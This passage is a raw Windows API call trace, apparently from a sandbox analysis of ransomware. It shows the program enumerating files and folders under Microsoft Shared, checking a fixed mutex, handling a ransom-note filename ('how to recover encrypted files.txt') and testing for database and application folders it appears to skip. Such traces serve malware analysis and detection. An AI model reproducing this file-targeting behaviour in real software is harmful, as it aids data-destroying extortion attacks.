lpUsedDefaultChar=0x0) returned 58 [0041.299] CharLowerBuffW (in: lpsz=".EXE", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0041.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\DW\\DW20.EXEv", lpUsedDefaultChar=0x0) returned 4 [0041.300] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0041.300] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.300] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.300] GlobalLock (hMem=0x440004) returned 0x551178 [0041.300] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.300] GlobalUnlock (hMem=0x440004) returned 0 [0041.300] GlobalLock (hMem=0x440004) returned 0x551178 [0041.300] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.300] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.300] GlobalUnlock (hMem=0x440004) returned 0 [0041.300] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.300] GlobalUnlock (hMem=0x44000c) returned 0 [0041.300] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.300] CharLowerBuffW (in: lpsz="DWTRIG20.EXE", cchLength=0xc | out: lpsz="dwtrig20.exe") returned 0xc [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", cchWideChar=62, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXEr", lpUsedDefaultChar=0x0) returned 62 [0041.301] CharLowerBuffW (in: lpsz=".EXE", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0041.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\DW\\DWTRIG20.EXEr", lpUsedDefaultChar=0x0) returned 4 [0041.301] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0041.301] GetLastError () returned 0x12 [0041.301] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.301] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.301] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.301] GlobalUnlock (hMem=0x44000c) returned 0 [0041.301] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.301] GlobalLock (hMem=0x440004) returned 0x552180 [0041.301] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.301] GlobalUnlock (hMem=0x44000c) returned 0 [0041.301] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.301] GlobalUnlock (hMem=0x440004) returned 0 [0041.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d18, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.301] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.301] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.302] GlobalLock (hMem=0x440004) returned 0x550170 [0041.302] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.302] GlobalUnlock (hMem=0x440004) returned 0 [0041.302] GlobalLock (hMem=0x440004) returned 0x550170 [0041.302] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.302] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.302] GlobalUnlock (hMem=0x440004) returned 0 [0041.302] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.302] GlobalUnlock (hMem=0x44000c) returned 0 [0041.302] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.302] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.302] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.302] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.302] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.302] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.302] GlobalUnlock (hMem=0x44000c) returned 0 [0041.302] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.302] GlobalLock (hMem=0x440004) returned 0x553188 [0041.302] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.302] GlobalUnlock (hMem=0x44000c) returned 0 [0041.302] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.302] GlobalUnlock (hMem=0x440004) returned 0 [0041.302] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.302] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0041.302] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.302] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.302] GlobalLock (hMem=0x440004) returned 0x551178 [0041.302] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.302] GlobalUnlock (hMem=0x440004) returned 0 [0041.303] GlobalLock (hMem=0x440004) returned 0x551178 [0041.303] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.303] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.303] GlobalUnlock (hMem=0x440004) returned 0 [0041.303] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.303] GlobalUnlock (hMem=0x44000c) returned 0 [0041.303] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.303] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0041.303] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.303] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.303] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.303] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.303] GlobalUnlock (hMem=0x44000c) returned 0 [0041.303] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.303] GlobalLock (hMem=0x440004) returned 0x553188 [0041.303] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.303] GlobalUnlock (hMem=0x44000c) returned 0 [0041.303] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.303] GlobalUnlock (hMem=0x440004) returned 0 [0041.303] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.303] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0041.303] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.303] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.303] GlobalLock (hMem=0x440004) returned 0x551178 [0041.303] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.303] GlobalUnlock (hMem=0x440004) returned 0 [0041.303] GlobalLock (hMem=0x440004) returned 0x551178 [0041.303] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.303] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.303] GlobalUnlock (hMem=0x440004) returned 0 [0041.303] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.303] GlobalUnlock (hMem=0x44000c) returned 0 [0041.304] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.304] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0041.304] GetLastError () returned 0x12 [0041.304] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.304] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0041.304] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.304] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.304] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.304] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.304] GlobalUnlock (hMem=0x44000c) returned 0 [0041.304] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.304] GlobalLock (hMem=0x440004) returned 0x552180 [0041.304] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.304] GlobalUnlock (hMem=0x44000c) returned 0 [0041.304] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.304] GlobalUnlock (hMem=0x440004) returned 0 [0041.304] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.304] GlobalLock (hMem=0x440004) returned 0x550170 [0041.304] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.304] GlobalUnlock (hMem=0x440004) returned 0 [0041.304] GlobalLock (hMem=0x440004) returned 0x550170 [0041.305] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.305] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.305] GlobalUnlock (hMem=0x440004) returned 0 [0041.305] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.305] GlobalUnlock (hMem=0x44000c) returned 0 [0041.305] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.305] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION", len=0x37 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned 1 [0041.305] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.305] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.305] GlobalUnlock (hMem=0x44000c) returned 0 [0041.305] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.305] GlobalLock (hMem=0x440004) returned 0x552180 [0041.305] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.305] GlobalUnlock (hMem=0x44000c) returned 0 [0041.305] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.305] GlobalUnlock (hMem=0x440004) returned 0 [0041.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\ition\\") returned 26 [0041.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@螠T蝴T企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0041.305] GetLastError () returned 0x3 [0041.305] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\ition\\") returned 21 [0041.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@蜄T企@\x18㿬Q\x181")) returned 0xffffffff [0041.306] GetLastError () returned 0x2 [0041.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\ition\\") returned 9 [0041.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@帜R企@\x18?T\x18;")) returned 0xffffffff [0041.306] GetLastError () returned 0x2 [0041.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\ition\\") returned 8 [0041.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0041.307] GetLastError () returned 0x2 [0041.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0041.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@蜄T企@\x18帜R\x18j")) returned 0xffffffff [0041.307] GetLastError () returned 0x2 [0041.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0041.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0041.308] GetLastError () returned 0x2 [0041.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft 